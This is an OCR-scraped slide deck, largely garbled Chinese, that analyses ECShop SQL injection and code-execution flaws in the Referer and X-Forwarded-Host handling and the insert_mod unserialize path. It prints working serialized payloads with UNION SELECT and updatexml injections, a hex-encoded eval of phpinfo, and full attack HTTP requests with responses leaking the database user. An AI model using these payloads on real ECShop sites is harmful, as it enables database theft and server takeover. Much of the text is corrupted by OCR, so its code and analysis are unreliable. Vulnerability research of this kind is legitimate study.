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ST AETE HTTP 3L SQLIEA

require(dirname(__FILE_)."/includes/init.php"); // #0314

IR—T addslashes_deep {74

®p EDIRS

RPESHEEN, gbk RIATLIEFTSRY, BEZSRINEN, BEBHFEEIN, T

PaN
A

£ HTTP kRS EIASHEE N, (LFREE)




n is_array($value) array _map( $value) : addslashes($value);

&p EDIRS

03

ecsh

op3.6 payload o#t

user.php?act=Ilogin Referer A4k,

0x01

N..N\N

e 45ea207d7a2b68c49582d2d22adf953aads E+A?

e a:2:{s:3: "num” ;s:107: “*/SELECT
1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0
928293b2f2f7d787878,10-- -" ;s:2: “id” ;s:11: “-1 "UNION/*" ;} // R ALERFS
*?

GET Juser.php?act=login HTTP/1.1

Host: your-ip

User-Agent: Mozilla/5.@ (Windows NT 10.@; WOW64; rv:52.8) Gecko/201@@1@1 Firefox/52.0@

Accept: text/html, appllr tion/xhtml+xml,application/xml;q=0.9,%*/%;q=0.8

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Cookie: PHPSESSID= QodnLfn?munb’vfk:dhldobdd@ EC =1255e244738135e418b742b1c9a60f5486aa4559; ECS[visit_times]=1

Referer: 4ReaZ@?d?alhnacd9532d2d22adf95waads|a 2 e

1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,08x7b2461736 5d3 6870696e666f0928293b2f2f7d787878,10-- -"; d®;s:11:"-1°
_45@3707d732b68c4uﬁs2d2d’2adeR5d

Connection: close

Upgrade-Insecure-Requests: 1 % EDlE%

Cache-Control: max-age=0




UXxuz
e HTTP REFERER A%

e assign Ik ;display RAMENRSUY // eHHESE#E A assign BREY

&p EDIRS

0x03

e HTTP REFERER {i&

if (empty($back_act))




¥® EDIZ %

0x04

e $back act A

$smarty->assign(_bac

$smarty->display('user_passport

0x05

e $smarty= new cls_template;

@ EDIR S




0x06

e assign

if (stpl var I= ')

$this->_var[$tpl_var] = $value;

¥ EDIZS

0x07
e assign

e back act user passport.dwt {ERIH{E



cls_template P it g ) . BC 0 J init.php
+ 4 Q I =0 - 2 matches
<1NputT name= passwora Types passwora
<ftd>
r>
<tr>
<td align

siz name= ptcha™ class="inputBg"™ />

aptcha.php?is_login=18&{ }* alt="captcha” style="vertical-align: middlejcursor: pointer;" o

oy ]

<td colspan="2"><input type="checkbo value="1" name="remember" id="remember"™ / abel for="remember

<td>&nbsp
<td align=
<input type
<input type=

<input type="submit" name="submit

0x08

e display



% EDIZS

0x09
e Display
e 45ea207d7a2b68c49582d2d22adf953aads 2tA?

o _echash? YWEERIED echash HTH IR



if (strpos(%out, $Ehis-> echash) !== false)

I
L

$k = explode($this->_echash, $%out);
foreach ($k AS $key => $val)
{
if (($key % 2
r
1
$k[$key] = $this->insert_mod(%val); %EDIE%

0x10

Display

45ea207d7a2b68c49582d2d22adf953aads 2f+A?

_echash BYE

5 payload A 45€a207d7a2b68c49582d2d22adf953aads XJtt 27 ads




jar [5_echash

var

var $_current_file = ''; o EDIRS

var $_expires

Ox11

e Display
¢ Insert mod

o DEP(E | BHTT HERMRES)

list($fun, $para) = explode( » $name);
$para = unserialize($para);

$fun = 'i t_ " . $fun;

return $fun($para);

& EDIR2

0x12
e Display
¢ Insert mod

e a:2:{s:3: "num” ;s:107: “*/SELECT
1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f0
928293b2f2f7d787878,10-- -" ;s:2: “id” ;s:11: “-1 "UNION/*" ;} // RHALERFES



1%?

n [Ensert mod(%nam

list($fun, $para) =

explode(

unserialize($para);

. $fun;

& EDIRS

0x13

e SQL

\

Bid echash #1752, E&#N insert mod

I
L
explode($this->_echash, $out);

print_r(%k);

Sout = implode(

@p EDIRS



0x14

e SQL

.
BIZ_echash H1THE!, (5N insert_mod, $JE) $k 2&IMHEIF, FITRY ads | FFHLE
S
AYEE, BN insert_mod(key B9 5, i%/E $key%2 ==1)
_J L 1 | 1 0 L 1 1
GET Juser.php?act=collection_list&dd=1 HTTP/1.1 A class="bnt_blue_1" />
Host: ecshop.dd r <itd>
X-Forwarded-Host:45ea207d7 a2bb8c49582d2d22adfB53aads 3 2:{s: 7 "user_id";5:52:"1"and updatexmi(1,c(1°2 0x7e user(),1) and <ftr=
" 87 "payment”.s:1:"1" || <tr>
Cache-Control: max-age=0 <td colspan="2" align="center" bgcolor="#fffif"><t
Upgrade-Insacura-Requests: 1 class="B_blue"><ftextarea><itd>
User-Agent: Mozilla/S.0 (Windows NT 10.0; WinB4; x64) AppleWebKit/537 36 (KHTML, like Gecko) Chrome/78.0.3304.87 <ftr>
Safanf537.36 <ftable>
Accept text/html application/xhtml+xml application/xml; 5=0.9 image/webp image/apng.*™*; 5=0.8 application/signed-exchange;w=h3 </form>

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9

Cookie: PHPSESSID=e7te2acd6ushhbqnsql0p116v4; ECS_ID=fdE54d8bE1 dBac29a7 d52eddF 7E860408fc93992;
ECS[visit_times|=1; ECSCP_ID=0379a63903 cfcdfbalDafb75ab895c2ch3462382; real_ipd=127 0.0.1

Connection: close

0x15
e SQL

Insert mod 4b18
adsl|a:2:{s:3:"num";s:107:"*/SELECT

<script language="JavaScript™>
var elements = document.forms['theForm’.elements

var url = "hitp.//

[5] => ads|a:2:{s:7:"user **";s:52:"1"and updatexml(1,c
varu ="1% a .—_)J-rr/'—

~ ~—

= e A0

1,0x2d312720554e494f4e2f2a,2,4,5,6,7,8,0x7b24617364275d3b706870696e666f092829

3b2f2f7d787878,10-- -";s:2:"id";s:11:"-1' UNION/*";)



HTTRP/1 .1 200 Ok

Date: Sat, 09 MNov 2019 04:32:36 GMT

Server: Apache/2.4.39 (WIinG4) OpenSSLY1.1.1b mod_fogid/2.3.9a
*Powered-By: PHP/AS. 5.9

Cache-control: private

Connection: close

Content-Type: text/html, charset=utf-S

Content-Length: 8948

M

this $fun:member_info Aorray
(
[name] == member_info
)
this $fun:cart_info Aarray
(
[mame] == cart_info
)
this $fun:ads this $fun:cron Array
[mname] == cron
)
=1DOCTYRPE hitrmil PUBLIC "2W3CGA/rDTD >XHTML 7.0 Transitional, _IN"™ "hitto A va
=html| xmilns="http:/fvwww_ w3 org/1999/xhtmlI” = N
=head=
=rmata namea="rsanaratar” cantent="F-SHOOP wd M /A" =

Ox16

e SQL

Insert mod &ME, BIESEIF, $fun 5T ads #H1THHE, $para EFNTTIEHIFFIEEL
B, BIEE insert_ads &A% SQLEN.




@& EDIRS

0x17

o SQL H##=SEHRY SQLIEAN

0x18



HTTP k&S (FhLE#iEE )

aESERN assign ERIER

display #1737 echash #1792, T insert_ mod

— P EILARIARY inser_xxx BREL 1ERL SQL
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Ecshop 4.0 SQL #HEAEEZN

0x01

o FHHYHTTP kS




Sy EDiR2

ion get domain()
$protocol = $this->htt

if (isset($ SERVER["HITP X FORWARI
I
1

$host = $ SERVER[ 'HTTP X FOR

@ EDIRS

e Get domain LA HTTP_X FORWARDED HOST 3XEWiR[E] Function url() EREGER T
get domain &%,



sprotocol = ;

if (isset($ SERVER]

Eh ost f.-_] E;:'-U-EH[ TTC

':brctis_izqwsﬁ[ HITP_HOST

F EEmIE
S CEDVER
3 .'|-"|l.'_|::.[

-~ TMHEZET7 HREE ) AacciAan SR AlcnlAa B4



T HIITZRVB J o TXT/\ addIyll 720\t display /)y,

Eban user.php$action=collection list i, BJ#%, X\, B7=.

$record_count,

($user_id, $pager[ 1+ Fpager[

$lang_list);

$user_id);

" % EDIRE

0x04

o TTLANNEGRY insert xxx

o Insert_user_account HELFEN user id FESELANIE
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Payload #3i&

0x01

e $ echash

o [BREIR user account

e SQlpayload FFMLERIEHE

0x02

e SQlpayload



<?php

$a[ 'user
$a[ ‘paym
$s

x +

ecshop.dd

a:2:(s:7:"user _id";5:52:"1'and updatexml|(1,make_set(1~2,0x7e,user()),1) and “payment”;s:1:°4%:)

45ea207d7a2b68c45582d2d22adf953auser_account|a:2:(s:7:"user_id";5:52:"1"and updatexml(1,make_set(1*2,0x7e,user(),1) and “;5:7:"payment”;s:1:"4")|

Jauser_account|a2:{s:7:"user_id";s:52:"1'and
ymant”;s:1:"4% |

36 (KHTML, like Gecko) Chrome/78.0.3904 B7

application/signed-exchangew=b3

il application/shiml+xml application/sml, g=0.9 imagefwabp image/apng, /"

gzip, deflate

AB0d0Bfa3392;

B R |
[name]| => member_info
)
this $fun:cart_info  Array
{
[name] => cart_info
)
this $fun:user_account  Array
{
[user_id] == 1"and updatexml{l,make_set(1*2,0x7 e, user(),1) and *
[payment] == 4
)
<b>MySOL server errer report:Array
{
[0] => Array
{
[message] => MySOL Query Error
)
[1] == Armay

[sql] == INSERT INTO "ecshop’. ecs_user_account’ (user_id, admin_user, amount,
in_note, user_note, process_type, payment, is_paid) VALUES ("1"and updatexml{1,ma
1573276457, 0, 7, 7, 7, WL, 0)

[2] => Asmray
{
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Bl => Amay
$ EAphpstudy pro\WWWhecsh... 0

Iarma 1= 1105

Payload fEXX & ~, BZ T3, E& Oday iEXKiEFA ], 548 get B!
[ ANHFEIS%, BDRATIRERE]

[error] ] == XPATH syntax error: ~ foot@localhost”
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